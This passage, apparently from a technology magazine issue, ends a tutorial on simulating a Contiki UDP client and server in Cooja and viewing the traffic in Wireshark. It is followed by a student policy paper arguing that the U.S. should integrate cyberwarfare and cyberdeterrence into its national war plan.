At this point, if the simulation is executed, the client will keep on sending messages to the server, but they will not reach it. This will happen because the IP address set in the *[Contiki Folder]/examples/udp-ipv6/upd-client.c*, within the `set_connnection_address()` function, is not correct. In order to fix it, we should check the IP address of the server in our *Cooja* simulation and set it in the *upd-client.c* program. Once we have the server's address just go to `set_connection_address()` function and modify `uip_ip6addr()` function's parameters. In our case, the IP address assigned to the server is `aaaa:301:1ff:fe01:101`, so the function invocation is `uip_ip6addr(ipaddr,0xfe80,0,0,0,0x301,0x1ff,0xfe01,0x101)` (Figure 4).

How to log the messages

Once the simulation is working properly, we have the opportunity of extracting the *Wireshark* traces of the communication performed between the client and the server. For this purpose, the first step

Figure 3. *Client-server Scenario Simulated in Cooja*

Figure 4. *Client-server Fixed Scenario Simulated in Cooja*

is to reload the simulation to get it as a new one. Thus, click on File/Reload simulation/new random seed. The whole simulation will be loaded again.

Once the simulation is correctly loaded and before starting the simulation, we need to set up the plugin to capture the messages exchanged in the communication. For this purpose, we should click on Tools/Radio messages. A new window will appear. In this Radio messages window, a representation of the messages exchanged in the communication will be stored.

Now we can start the simulation and we will see that the client and the server are correctly sending messages each other through two interfaces available. On one hand, in the Mote output window, the log of both applications will appear. On the other hand, in the Radio messages window, the hexadecimal representation of the messages will be logged as well.

After some simulation time, when some messages are exchanged between the client and the server, the simulation can be stopped. Now, we are ready to export our simulated communication to a Wireshark format.

How to see the messages in Wireshark

The Radio messages plugin allow us to export the hexadecimal based communication log to a pcap format, which is recognized by *Wireshark*. In order to get that, once the log has been collected in the Radio messages plugin, we should click on Analizer menu and select 6LoWPAN Analyzer with PCAP. In this moment, a *Wireshark* trace is created with every message exchanged between the two motes.

This new trace can be found under *[Contiki Folder]/tools/cooja/build/*. It will be called radiolog-xxxxxxxx.pcap, where the x are substituted by numbers. This file can be directly opened using *Wireshark* application. We will obtain a trace as depicted in fig. In this trace we can see how every message is defined as 802.15.4 message (Figure 5).

A 802.15.4 based network behaves like a general purpose network. Thus, before the messages containing the data Hello from the client and Hello from the server appear in the communication, other set of 802.15.4 messages are exchanged in order to establish the network communication itself. We can compare this previous messages exchanges with the ARP mechanism deployed in general purpose networks in order to discover the addressing information related to the network peers.

Once the 802.15.4 network is established, we will be able to see client and server application data within the messages depicted in *Wireshark* trace.

How to format messages following the traditional IP stack

The output obtained directly from the Radio messages plugin is not easily understandable. Opening the trace obtained with *Wireshark* application, we can observe different messages composed by an 802.15.4 header carrying some data. However, it can be formatted in order to get a more understandable format of the application data exchanged.

For this purpose, the first step to perform is to obtain the raw data exchanged instead formatted as pcap. This can be done by selecting File/Save to file option in the Radio messages. We save the raw data application exchanged in a file, in this case called output. If we open this output file, a hexadecimal representation of the 802.15.4 messages is depicted. However, we want to have them following the traditional IP stack.

Thus, the next step is to format every message in order to get only the UDP and application parts of the message. In order to get this, we need to take into account in which byte position the UDP related information starts within the message.

Knowing that, we will format the messages previously saved in the output file in order to keep just their UDP and application related data. Besides, a set of zeros need to be set at the beginning of the message in order to simulate its sequence number as expected by *Wireshark* application.

The step described above can be done using this C++ code (Listing 1).

Listing 1. *Parser from Cooja to Wireshark*

```
#include <iostream>
#include <string>
#include <cstring>
#include <stdio.h>
using namespace std;
#define POS_INIT_UDP 113
int main (){
   string str;
   while (getline(cin,str)){
      cout << "000000 ";
      for(int i=2; i<str.size();i++){
         if (i>POS_INIT_UDP) {
            cout << str[i];
            if(i%2)
               cout << " ";
         }
      }
      cout  << endl;
   }
}
```

Assuming that we save this code in a file called `parser-from-cooja.cpp`, we compile this C++ code by using the next command line:

```
g++ parser-from-cooja.cpp -o parser.out
```

In this point, we have the parser needed for extracting a file with every message parsed. Thus, if we apply directly this parser to the output file we will obtain messages tailed with the UDP and application data only. To get this tailed file we can perform

```
sudo chmod 777 ./parser.out; ./parser.out < output
```

However, this remains to be in a incorrect format understandable by *Wireshark* application. Thus, we need to add the underlayer headers to these messages in order to get them over a simulated traditional communication stack. In other words, we need to simulate that the message has been exchanged by using the following underlayer headers: ethernet, IP, UDP, application data.

For this purpose we can use the next bash script:

```
cut -f2- -d " " < output | tr -d " " |
./parser.out > delete_wireshark_temp && text2pcap
-o hex -i 17 delete_wireshark_temp out && wireshark out
```

This script parses the raw ouput obtained from the Cooja plugin called Radio messages, obtaining the file `delete_wireshark_temp`. Within this file we have a representation of every message containing just their UDP and application layers. After that, with the GNU/Linux tool text2pcap, we will simulate a IPv4 stack. By indicating that the Next Header is a UDP header (option -i 17), this tool will create this simulated IPv4 stack and it will append the UDP and application data contained within the `delete_wireshark_temp` file.

Finally, the *Wireshark* application will be opened and then every messages is depicted as an UDP message. As explained before, several messages are exchanged in order to set the network in which our simulated nodes are exchanging information. In order to check the messages in which we are interested, we should look for those which UDP port numbers are 3000 and 3001. Those messages are the ones exchanged between *udp-client* and *udp-server*. Actually, as depicted in Figure 6, we can see how the string Hello from the client can be correctly be watched in the Wireshark application.

Figure 6. *Wireshark Trace Showing UDP/IP Based Messages*

On the Web

- *http://www.contiki-os.org/* – Contiki operating system main page
- *http://wiki.contiki-os.org/doku.php?id=an_introduction_to_cooja* – Introduction to Cooja simulator
- *http://www.wireshark.org* – Wireshark official web page

Conclusions

In this work we present an overview of the recently appeared work of Internet of Things. Developing embedded applications for embedded devices is a task that can be helped by using a simulator. *Cooja*, the simulator described within this work, allow the developer of constrained applications to check their correct functioning given the lack of graphical interfaz in IoT devices. The *Cooja* environment presented in this article will allow the reader to simulate his first embedded application as tutorized within this work. Finally, a deep handling of the *Wireshark* application in conjunction with the simulations carried out, show how this world wide known application is applicable in this new area. In addition, handling the associated message information allows the developers to get a more understable and totally configurable output within the *Wireshark* application. Thus, the IoT background, the simulation procedures as well as the *Wireshark* related techniques presented in this work aim at becoming in a referencing start point for those developers who want to create their own constrained applications.

PEDRO MORENO-SANCHEZ

Pedro Moreno-Sanchez. M.Sc. student at the University of Murcia, Spain. His background is related to IP-based security protocols. Nowadays, he is directly involved in the project OpenPANA: An opensource implementation for network access control based on PANA.

ROGELIO MARTINEZ-PEREZ

Rogelio Martinez-Perez is a BCs in Computer Science at the University of Murcia, Spain. He has experience in working on the Internet of Things and Smart Sensor Networks.

Integration

of Cyberwarfareand Cyberdeterrence Strategies into the U.S. CONOPS Plan to Maximize Responsible Control and Effectiveness by the U. S. National Command Authorities

This paper deals with issues related to the present situation of lack of a clearly defined national policy on the use of cyberweapons and cyberdeterrence, as well as the urgent present need to include strategies and tactics for cyberwarfare and cyberdeterrence into the national CONOPS Plan, which is the national strategic war plan for the United States.

One of the main disadvantages of the hyper-connected world of the 21st century is the very real danger that countries, organizations, and people who use networked computer resources connected to the Internet face because they are at risk of cyberattacks that could result in one or more cyber threat dangers such as denial of service, espionage, theft of confidential data, destruction of data, and/or destruction of systems and services. As a result of these cyber threats, the national leaders and military of most modern countries have now recognized the potential for cyberattacks and cyberwar is very real and many are hoping to counter these threats with modern technological tools using strategies and tactics under a framework of cyberdeterrence, with which they can deter the potential attacks associated with cyberwarfare.

Nature of the Threat

During my studies prior to and as a student in this DET 630 – Cyberwarfare and Cyberdeterrence course at Bellevue University, it occurred to me that considering the rapid evolution of the potentially destructive capabilities of cyberweapons and the complex nature of cyberdeterrence in the 21st century, it is now a critical priority to integrate the cyberwarfare and cyberdeterrence plans into the CONOPS plan. Indeed, if the strategic battleground of the 21st century has now expanded to include cyberspace, and the U.S. has in the last five years ramped up major military commands, training, personnel, and capabilities to support cyberwarfare and cyberdeterrence capabilities, the inclusion of these capabilities should now be a critical priority of the Obama administration if has not already happened.

How large a problem is this for the United States?

Without the integration of cyberwarfare and cyberdeterrence technologies, strategies, and tactics into the CONOPS Plan, the national command authorities run a grave risk of conducting a poorly planned offensive cyberwarfare operation that could precipitate a global crisis, impair relationships with its allies, and potentially unleash a whole host of unintended negative and potentially catastrophic consequences. In non-military terms, at least four notable cyberspace events caused widespread damages via the Internet because of the rapid speed of their propagation, and their apparently ruthless and indiscriminant selection of vulnerable targets. They are 1) the Robert Morris worm (U.S. origin, 1988); 2) the ILOVEYOU worm (Philippines origin, 2000); the Code Red worm (U.S. origin, 2001); and the SQL Slammer worm (U.S. origin, 2003). If not executed with great care and forethought, a cyberweapons could potentially unleash even greater damage on intended targets and possible on unintended targets that were connected via the Internet.

Other Not So Obvious Challenges for Cyberweapons and Cyberdeterrence

The cyberspace threat and vulnerability landscape is notable in that it is continually dynamic and shifting. Those who are responsible for

protecting assets in cyberspace have many more challenges on their hands than their military counterparts who utilize weapons like guns, explosives, artillery, missiles, etc. For example, there are by some estimates over 350 new types of malware that are manufactured each month. There are also monthly patch updates to most Microsoft software and operating systems, and phenomena such as evil hackers and zero-day exploits are apparently never ending. Therefore, the inclusion of cyberweapons and cyberdeterrence capabilities into the CONOPS Plan would require more frequent, rigorous, complex, and integrated testing to ensure that it was always effective and up to date. In the dynamic world of cyberspace with its constantly shifting landscape of new capabilities, threats and vulnerabilities, the coordination of the constant refresh and testing of a CONOPS Plan that integrated these cyberwarfare and cyberdeterrence capabilities would be no small feat. In addition, constant intelligence gathering and reconnaissance would need to be performed on suspected enemies to ensure that our cyberweapons and cyberdeterrence capabilities would be in constant state of being able to deliver the intended effects for which they were designed.

Is it a problem for other countries?

The careful planning and integration of cyberweapons and cyberdeterrence is likely a challenge for every country with these capabilities. For example, much is already known about our potential adversaries, such as Russia, China and North Korea, but what is perhaps less understood is the degree to which they have been successful in integrating cyberwarfare and cyberdeterrence capabilities into their own national war plans. Nevertheless, due to the previous extensive experience of Russia and the U.S. with strategic war planning, it is more likely that each of these countries stand the greatest chance of making integrating cyberwarfare and cyberdeterrence capabilities into their respective war plans. Yet, as recently as June 2009, it was clear that the U.S. and Russia were unable to agree on a treaty that would create the terms under which cyberwarfare operations could and would be conducted (Markoff and Kramer, 2009).

Is it problematic for these countries in the same ways or is there variation? What kind?

Every country that is modern enough to have organizations, people, and assets that are connected to computers and the Internet faces similar challenges of planning and managing cyberweapons and cyberdeterrence, and the poorer the country, the more significant the challenges. For example, when a small group of hackers from Manila in the Philippines unleashed the ILOVEYOU worm on the Internet in 2000, it caused over $2 billion in damages to computer data throughout the world. Agents from the FBI went to Manila to track down these people and investigate how and why the ILOVEYOU worm catastrophe occurred. To their surprise, they learned that each of these hackers who were involved could successfully escape prosecution because there were no laws in the Philippines with which to prosecute them. So actually most countries lack the technological and legal frameworks with which to successfully build a coordinated effort to manage the weapons and strategies of cyberwarfare and cyberdeterrence, despite the fact that most now embrace cyberspace with all the positive economic benefits it offers for commerce and communications.

What are the consequences to the U.S. and others if this threat is left unchecked?

As stated earlier, without the careful integration of cyberwarfare and cyberdeterrence technologies, strategies, and tactics into the CONOPS Plan, the national command authorities run a grave risk of launching a poorly planned offensive cyberwarfare operation that could precipitate a global crisis, impair relationships with its allies, and potentially unleash a whole host of unintended negative and potentially catastrophic consequences.

What consequences has the threat already produced on American/global society?

The absence of well-defined cyberwarfare and cyberdeterrence strategies and tactics in the CONOPS Plan has already produced some situations that have either damaged America's image abroad, or that could imperil its image and have far more negative consequences. For example, operates such as Stuxnet, Flame, Duque, etc., might have either been better planned or possibly not executed at all if cyberwarfare and cyberdeterrence strategies and tactics were defined in the CONOPS Plan. Also, the news media indicated during the revolution in Libya that resulted in the fall of Qaddafi, cyberwarfare operations were considered by the Obama administration. The negative reactions and repercussions on the world stage might have far outweighed any short term advantages that could have resulted from a successful set of cyberattacks against Libyan infrastructure assets that were attached to computer networks. Again, a comprehensive CONOPS Plan that in-

cluded well-defined cyberwarfare and cyberdeterrence strategies and tactics could have prevented such possible cyberattacks from even being considered, and it could have prevented the news of the possible consideration being publicized in the press (Schmitt, E. and Shanker, T., 2011). Without such restraint and well-planned deliberate actions, the U.S. runs the risk of appearing like the well-equipped cyber bully on the world stage, and an adversary who is willing to unleash weapons that can and will do crippling damage to an opponent, using technologies that are rapid, decisive, and not well-understood by those for whom they are intended. A similar effect and world reaction might be if U.S. Army infantry troops were equipped with laser rifles that emitted deadly laser blasts with pinpoint precision across several hundred yards.

The Rapid Evolution of Cyberthreats

As predicted in the Technolytics chart below, cyberweapons have rapidly evolved over time.

Since Stuxnet was released in 2010, countries and the general public are now aware of some of the offensive, strategic and destructive capabilities and potential of cyberweapons (Gelton, T., 2011).

The changes that produced Stuxnet and other recent, more modern cyberweapons were a national resolve to excel in the cyberwarfare area, coupled with excellent reconnaissance on desired targets, and partnering with computer scientists in Israel. The political consequences are not well understood yet, except to say that the U.S. and Israel are probably less trusted and suspected of even greater future capabilities, as well as having the will to use them. Again, having well-planned cyberwarfare and cyberdeterrence strategies and tactics defined in the CONOPS Plan might indeed, restrain such possibly reckless decisions as to unleash cyberweapon attacks without what the world might consider the correct provocation.

Figure 1. *Evolution of Cyberweapons (Technolytics, 2012)*

Part 1 Final Thoughts about Cyberwarfare Operations

In the words of Deb Radcliff, in an article published in SC Magazine in September 2012, "we are already in a cyberwar" (Radcliff, D., 2012). But as I was performing my research, it occurred to me that a country like the U.S., might in the future unleash such a devastating cyberattack that it could cripple the enemy's ability to communicate surrender. I think that the moral implications of such circumstances need to be justly considered as a matter of the laws of war, because if a country continues to attack an enemy that has indicated that they are defeated and want to surrender, this shifts the moral ground from which the U.S. may have it was conducting its cyberwarfare operations. This is one other unintended consequence of cyberwarfare and one that needs to be carefully considered.

Part 2 – U.S. Policy Appraisal Related to Cyberwarfare and Cyberdeterrence

This section will examine current U.S. Policy related to cyberwarfare and cyberdeterrence.

Current U.S. Policy Covering Cyberwarfare Threats

The current written policy related to cyberwarfare threats can be found in President Obama's Defense Strategic Guidance 2012, a 16-page policy documented that was published on January 3, 2012. The excerpt related specifically to cyberwarfare and cyber threats is shown below:

"To enable economic growth and commerce, America, working in conjunction with allies and partners around the world, will seek to protect freedom of access throughout the global commons – those areas beyond national jurisdiction that constitute the vital connective tissue of the international system. Global security and prosperity are increasingly dependent on the free flow of goods shipped by air or sea. State and non-state actors pose potential threats to access in the global commons, whether through opposition to existing norms or other anti-access approaches. Both state and non-state actors possess the capability and intent to conduct cyber espionage and, potentially, cyber attacks on the United States, with possible severe effects on both our military operations and our homeland. Growth in the number of space-faring nations is also leading to an increasingly congested and contested space

environment, threatening safety and security. The United States will continue to lead global efforts with capable allies and partners to assure access to and use of the global commons, both by strengthening international norms of responsible behavior and by maintaining relevant and interoperable military capabilities (Obama, 2012)."

The first explicit Obama Administration policy acknowledging the realities of cyber threats were published in a 30-page document titled International Strategy for Cyberspace in May 2011.

"Today, as nations and peoples harness the networks that are all around us, we have a choice. We can either work together to realize their potential for greater prosperity and security, or we can succumb to narrow interests and undue fears that limit progress. Cybersecurity is not an end unto itself; it is instead an obligation that our governments and societies must take on willingly, to ensure that innovation continues to flourish, drive markets, and improve lives. While offline challenges of crime and aggression have made their way to the digital world, we will confront them consistent with the principles we hold dear: free speech and association, privacy, and the free flow of information.

"The digital world is no longer a lawless frontier, nor the province of a small elite. It is a place where the norms of responsible, just, and peaceful conduct among states and peoples have begun to take hold. It is one of the finest examples of a community self-organizing, as civil society, academia, the private sector, and governments work together democratically to ensure its effective management. Most important of all, this space continues to grow, develop, and promote prosperity, security, and openness as it has since its invention. This is what sets the Internet apart in the international environment, and why it is so important to protect.

"In this spirit, I offer the United States' International Strategy for Cyberspace. This is not the first time my Administration has address the policy challenges surrounding these technologies, but it is the first time that our Nation has laid out an approach that unifies our engagement with international partners on the full range of cyber issues. And so this strategy outlines not only a vision for the future of cyberspace, but an agenda for realizing it. It provides the context for our partners at home and abroad to understand our priorities, and how we can come together to preserve the character of cyberspace and reduce the threats we face (Obama, 2011)."

Though the Obama Administration reviewed and approved President Bush's CNCI policy in May 2009, Obama, who is regarded as the most technology-savvy president that has ever occupied the White House, went much further to acknowledge the importance of cyberspace to the American economy and the American military, and the importance of defending the U.S. from adversaries that could threaten us via cyberspace. Obama's policy also acknowledges the reality that future wars will be fought on the realm of cyberspace, and has thus funded the preparation of the U.S. armed forces to prepare for conflict in cyberspace (Gerwitz, 2011).

What is the effectiveness of current policy when it concerns this particular threat issue?

The Obama Administration's policies have been effective in raising the awareness of the U.S. population as to the importance of protecting assets that are connected in cyberspace. These policies have also been effective in providing for the preparation of the U.S. military to deal with conflict in cyberspace.

However, the present policy has not been effective as a deterrence to cyber threats presented by potential national enemies and non-state actors. As recently as September 23, 2012 – September 30, 2012, cyber attacks in the form of distributed denial of service (DDOS) attacks from the Middle East against several major U.S. banks based have publicly demonstrated the ire of the attackers and also the vulnerabilities of banks with a customer presence in cyberspace (Strohm and Engleman, 2012).

Short-Term and Long-term Ramifications of Current Policy

In the short-term, the Obama Administration's policies regarding cyberspace have done much to raise the awareness of cyberspace as an area that requires protection for the public good and prosperity of the American people. These policies have also served to show our allies and our potential enemies that the U.S. has the intention of defending cyberspace and all our interests that are connected to it. In the long-

term, these policies will probably evolve to reveal in a general, unclassified way, stronger defenses, stronger deterrent capabilities and probably offensive cyberweapons.

On the legislative front, as recently as September 23, 2012, Chairman of the Senate Homeland Security Committee, Senator Joseph Lieberman (D., Connecticut), realizing that Congress would fail to pass cybersecurity legislation to designed to help protect the United States and its people, sent an urgent letter to President Obama to ask for the creation of a new Presidential Executive Order that would address several current cybersecurity issues, that includes how and when and where law enforcement can become involved in cybersecurity issues (Kerr, 2012). Though many digital privacy rights advocates, including the Electronic Frontier Foundation, the Electronic Privacy Information Center, and the American Civil Liberties Union have strenuously fought recent cybersecurity legislation, it is expected by many cybersecurity experts that if President Obama is reelected in November 2012, an Executive Order drafted and signed by the Obama Administration provide the tools that the federal government wants. Even if President Obama is not reelected in November 2012, it is expected that some expedient action on the part of the new president would probably take place even before Congress could successfully agree upon and pass such legislation.

Allies and Adversaries Connected to this Specific Policy?

It is entirely likely that there are classified versions of the International Strategy for Cyberspace policy that address the nature of how U.S. policies regarding the defense of cyberspace will affect our allies and our adversaries. But since it has been publicly revealed that the Obama Administration has conducted offensive cyberwarfare operations against Iran between June 2009 and June 2010, it is also likely that both our allies and our enemies have a clearer understanding of U.S. capabilities as well as the intent to use cyberweapons when it deems it is in its best interests to do so.

Part 2 Conclusion

The good news is that President Obama and his Administration apparently have an acute awareness of the importance of the cyberspace to the American economy and the American military. The bad news is that because we are already in some form of cyberwarfare that appears to be rapidly escalating, it remains to be seen what effects these cyberattacks and the expected forthcoming Executive Orders that address cybersecurity will have on the American people and our way of life. Nevertheless, it will be necessary to act prudently, carefully balancing our freedoms with our need for security, and also considering the importance of enabling and protecting the prosperity of the now electronically connected, free enterprise economy that makes the U.S. the envy of and the model for the rest of the world.

Part 3 – Strategic Comparative Analysis in Cyberwarfare and Cyberdeterrence

This section will present a strategic comparative analysis of the present state of cyberwarfare and cyberdeterrence issues as that relate to other countries that could be considered adversaries, now or in the not too distant future.

What Other Countries / Regions of the World Are Concerned with This Same Threat Issue?

The countries that are primarily concerned with cyberwarfare and cyberdeterrence threat issues are the same countries that already have the greatest cyberwarfare capabilities and also the most to lose in the event of a full-scale cyberwarfare attack.

The diagram below from a 2009 study shows the comparative cyberwar capabilities of the 66 largest countries in the world (Figure 2).

Cyber Military Capabilities 2008	Cyber Capabilities Intent	Offensive Capabilities Rating	Cyber Intelligence Capabilities	Overall Cyber Rating
China:	4.2	3.8	4.0	4.0
United States:	4.2	3.8	4.0	4.0
Russia	4.3	3.5	3.8	3.9
India:	4.0	3.5	3.5	3.7
Iran:	4.1	3.4	3.4	3.6
Korea, North:	4.2	3.4	3.3	3.6
Japan:	3.9	3.3	3.5	3.6
Israel:	4.0	3.8	3.0	3.6
Korea, South:	3.5	3.0	3.2	3.2
Pakistan:	3.9	2.7	2.6	3.1
Saudi Arabia:	3.9	2.9	2.6	3.1
Singapore:	3.7	2.8	2.7	3.1
Spain:	3.8	2.9	2.5	3.1
United Kingdom:	3.2	3.0	3.0	3.1
Australia:	3.0	3.0	3.0	3.0
Belgium:	3.0	2.5	2.5	2.7
Canada:	3.0	2.7	2.5	2.7
Egypt:	3.0	2.5	2.5	2.7
Indonesia:	3.0	2.5	2.3	2.6
Norway:	3.0	2.5	2.3	2.6
Sweden:	3.0	2.5	2.3	2.6
Taiwan:	3.0	2.5	2.3	2.6
Turkey:	3.0	2.3	2.2	2.5
United Arab Emirates:	3.0	2.3	2.2	2.5
Netherlands:	2.8	2.5	2.3	2.5
Austria:	2.4	2.7	2.5	2.5
Denmark:	2.4	2.7	2.5	2.5
Germany:	2.5	2.5	2.4	2.5
Hungary:	2.5	2.2	2.2	2.3
Libya:	2.5	2.2	2.2	2.3
Malaysia:	2.5	2.1	2.2	2.3
Morocco:	2.5	2.4	2.1	2.3
Philippines:	2.5	2.2	2.2	2.3

Figure 2. *Country Cyber Capabilities Ratings (Technolytics, 2012)*

Countries Regions of the World That Do Not Place a High Priority on This Threat Issue

Countries that are more focused on the survival and welfare of their citizens, coupled with the fact that they are largely consumers of Internet and computer capabilities versus being able to afford to channel resources into the development of cyberweapons or the resources required to develop a credible cyberdeterrence strategy. It is also ironic that the U.K. with its stature and status does not rank higher on the list shown in Table 1.

Some of the Current Policies Being Employed by These Other States / Regions in Regards to the Threat

China, Russia, and India, each of which are in the top four of the countries listed in Table 1, have well-defined cyberwarfare policies and strategies. Ironically, the U.S., which occupies the number 2 position in that same table, does not yet have well-defined cyberwarfare policies and strategies. For comparison, Table 2 below shows a summary of the policies and strategies of China, Russia and India.

Successes and Failures of the Various Alternative Policies around the Globe

Despite some of the negative press from the Stuxnet virus, this collaborative effort by the U.S. and Israel has been looked at with both fascination and as an event that has quickly and successfully heralded in a new age of warfare, the age of cyberwarfare. However, many still feel that in the absence of publically defined policies and strategies by the Obama Administration, it invites a secretive and even random appearance of and the continued use of cyberweapons (Sanger, 2012).

Areas of Joint Communication / Operation / Cooperation that Exist or Should Exist Across Countries Dealing with This Threat Issue

Apparently, the U.S. has already created one or more rather sophisticated cyberweapons with the help of Israeli cyberweapon experts. At least one of these cyberweapons, the Stuxnet Worm, was effectively used to impede the development of Iran's nuclear material refinement program from 2009 to 2010 (Langer, 2010).

It is likely however, that through the auspices of the United Nations, or perhaps some G20 accord, there may be some general consensus on the importance of defining the appropriate uses cyberweapons. There also needs to be some agreement on types of response to cyberattacks, and effective methods of cyberdeterrence.

Table 1. *Summary of Cyberwarfare Policies and Strategies of China, Russia, and India*

Country	Policy	Strategy
China	China supports cyberwarfare capabilities, especially providing such capabilities in the People's Liberation Army.	The Chinese will wage unrestricted warfare and these are the principles: Omni-directionality Synchrony Limited objectives Unlimited measures Asymmetry Minimal consumption Multi-dimensional coordination Adjustment, control of the entire process (Hagestad, 2012).
Russia	Russia supports cyberwarfare capabilities, especially providing such capabilities in the Russian Army. The nature of cyberwarfare and information warfare requires that the development of a response to these challenges must be organized on an interdisciplinary basis and include researchers from different branches – political analysts, sociologists, psychologists, military specialists, and media representatives (Fayutkin, 2012).	The ability to achieve cyber superiority is essential to victory in cyberspace. (Fayutkin, 2012).
India	India supports cyberwarfare capabilities, especially providing such capabilities in the Indian Army. "It is essential for efficient and effective conduct of war including cyber-war. The war book therefore needs to specify as how to maintain no-contact cyber war and when the government decide to go for full-contact or partial-contact war then how cyber war will be integrated to meet overall war objectives (Saini, 2012)."	Strategies are still under development, but will follow the guidance of policies related to the conduct of war. (Saini, 2012)

China and Its Role in Cyberwarfare Capabilities

China is probably doing a better job than the realm of cyberwarfare for three reasons: 1) the government has invested considerable resources into their cyberwarfare capabilities; 2) the number of personnel devoted to cyberwarfare efforts is reportedly in the tens of thousands; and 3) the Chinese government is able to easily operate under a cloak of secrecy and conduct operations without fear of cyberwarfare activities being leaked to Chinese press agencies (Hagestad, 2012).

Part 3 Conclusion

This paper has presented a brief strategic comparative analysis of countries with cyberwarfare capability.

Part 4 – Conflict Resolution in Cyberwarfare and Cyberdeterrence

This section will present the ideas of conflict analysis and resolution as they relate to cyberwarfare.

Current Academic Research on This Threat Problem

Since 2007, as the existence of well-orchestrated cyberwar attacks such as the DDoS attacks on Estonia (2007), Georgia (2008), and Kyrgyzstan (2009), as well as the Stuxnet (2010), Duqu (2011), and Flame (2012) have all become known to the world through security researchers, their victims, and the media. As a result, it has become apparent most who are watching this area that cyberspace has now become the new realm onto which the field of international conflict has been extended, and that cyberwarfare is now no longer a theoretical issue that could one day threaten those participants and systems that rely upon connections to the Internet and Internet-connected networks. Unfortunately however, the present findings and research on cyberwarfare related events shows that the U.S. is playing catch-up and doing so badly (Turanski and Husick, 2012).

Intellectual Positions and Theoretical Explanations That Have Been Staked Out on This Threat Problem

As recently as the 2008 – 2009 timeframe, John Boyd's conflict model known as Observe – Orient – Decide – Act (OODA) began to be applied to analyze the ideas of "cybernetic warfare" and "net-centric warfare." The model itself has been analyzed for its ability to simply demonstrate the nature of the complexity of conflict, complete with factors of ambiguity, unpredictability, and so the model has also been used to define the nature of life itself. Yet, the model is also impacted by the chaotic nature of life and reality. The further shows the similarity between actual cyberwarfare events and this model. Other characteristics of the OODA loop model are its continuous nature and the feedback loops that provide data on which to base some form (or forms) of decision and action. The OODA Loop model is shown in the Figure 3.

However, one key distinction between Boyd's OODA model and cybernetic warfare is Boyd's "focus on the conditions of emergence transformation of systems through information rather than merely the manner in which information is processed by a fixed organizational schema." Boyd would argue that Claude Shannon and others tend to overemphasize the view of information related to structure as opposed to information as a process (Bousquet, 2009).

Figure 3. *Boyd's OODA Loop Model (Bousquet, 2009)*

Joint Publication (JP) 5-0, Joint Operation Planning

As recently as December 2006, the Joint Chiefs of Staff provided an inside look into how the U.S. National War Plan was created and maintained. In the document titled, Joint Publication (JP) 5-0, Joint Operation Planning. While this publically available, 264-page, document is unclassified, it does provide an extraordinary look into the strategic military thinking, principles, and guidance of the Joint Chiefs of Staff and the National Command Authorities as they create policies and strategies that enforce the national strategic objectives of the United States.

Figure 4. *Understanding the Operational Environment (U.S. DoD, JCS, 2006)*

Figure 5. *Understanding the Interconnected Nature of the Realms Related to the Operational Environment of Conflict and the Nature of the Systems Analysis Required for Decision Making (U.S. DoD, JCS, 2006)*

This document that was created during the Bush administration is also significant because it is one of the first official publically known such documents that included cyberspace as part of the operational realm of conflict, along with air, sea, land, and space for conducting military operations (U.S. DoD, JCS, 2006). The high-level diagram below shows simply the concept of the inputs and the outputs that lead to understanding the operational environment of conflict, and it compares somewhat to the OODA Figure 4.

To further illustrate the intent of the Joint Chiefs of Staff to the diagram (Figure 5) to visually explain the interconnected nature of the realms related to the operational environment of conflict and the nature of the systems analysis required for decision making.

The JCS also described the environment of conflict as a place where simultaneity of operations would and this environment would include the information environment and cyberspace:

"Simultaneity refers to the simultaneous application of military and nonmilitary power against the enemy's key capabilities and sources of strength.

Simultaneity in joint force operations contributes directly to an enemy's collapse by placing more demands on enemy forces and functions than can be handled. This does not mean that all elements of the joint force are employed with equal priority or that even all elements of the joint force will be employed. It refers specifically to the concept of attacking appropriate enemy forces and functions throughout the OA (across the physical domains and the information environment [which includes cyberspace]) in such a manner as to cause failure of their moral and physical cohesion (U.S. DoD, JCS, 2006)."

Figure 6. *Course of Action Development (U.S. DoD, JCS, 2006)*

Therefore, the JCS also created a Course of Action framework for determining the best courses of action in a conflict environment, and here again, cyberspace is included in that realm of options in which a course of action could and would be developed (U.S. DoD, JCS, 2006) (Figure 6).

Options in Conflict

Based on the current state of where the U.S. stands with the lack of coherent and cohesive incorporated into its National CONOPSPLAN, and the potential for unintended consequences where the unilateral use of cyberweapons can and will occur, I see three possible options for the U.S., and each of these options has advantages and disadvantages.

Part 4 Conclusion

This section has presented a brief look at the U.S. Military's recognition of cyberspace as an extension of the operational environment of conflict and a comparison of the options that exist for resolving the issues that threaten America's ability to create the coherent and cohesive policies and strategies that will define its ability to effectively conduct cyberwarfare and cyberdeterrence in the future.

Part 5 – Policy Generation Related to Cyberwarfare and Cyberdeterrence

This section will present the ideas for the creation of national policy or enhancement of existing national policy related to cyberwarfare and cyberdeterrence issues.

Current U.S. Policy Covering Cyberwarfare Threats

As started earlier in the Part 2 – Policy Analysis, the current written policy related to cyberwarfare threats can be found in President Obama's Defense Strategic Guidance 2012, a 16-page policy documented that was published on January 3, 2012. It has already been noted that this policy has not been effective in deterring cyberattacks and other acts of cyberwar.

Challenges Related to Cyberwar and Cyberdeterrence Policy and Strategy Creation

The creation of policies and strategies related to cyberwar and cyberdeterrence are complicated by six major issues:

- The lack of international definition and agreement on what constitutes an act of cyberwar (Markoff and Kramer, 2009).
- The lack of the ability to clearly attribute the source of an attack (Turzanski and Husick, 2012).
- The ability for non-state actors to conduct potent cyberattacks (Turzanski and Husick, 2012).
- The inability to clearly define what the exact nature of critical infrastructure targets (Turzanski and Husick, 2012).
- The massive proliferation and reliance on of ubiquitous, highly insecure, vulnerable systems based on SCADA technologies during the 1980s and 1990s (Turzanski and Husick, 2012).
- The continually changing landscape of information technology including the vulnerabilities and threats related to systems that are obsolete, yet remain in operational use for several years past their intended useful life.

A Single Integrated Operational Plan for War

During the 1950s and 1960s, when it became evident that nuclear weapons could play a major role in strategic warfare, the United States,

Table 2. *Comparing Options for Incorporating Cyberwar and Cyberdeterrence Policies and Strategies into the U.S. National CONOPS Plan*

Option	Description	Advantage	Disadvantage
1	Create policies that mandate the inclusion of cyberwarfare and cyberdeterrence into the U.S. National CONOPS Plan	Prevents unintended consequences of unilateral use or unplanned use of cyberweapons	Takes time, politics, skills, knowledge, and money
2	Limited creation and application of policies that mandate the inclusion of cyberwarfare and cyberdeterrence into the U.S. National CONOPS Plan	Prevents some possible unintended consequences of unilateral use or unplanned use of cyberweapons	Still requires some time, political wrangling, skills, knowledge, and money
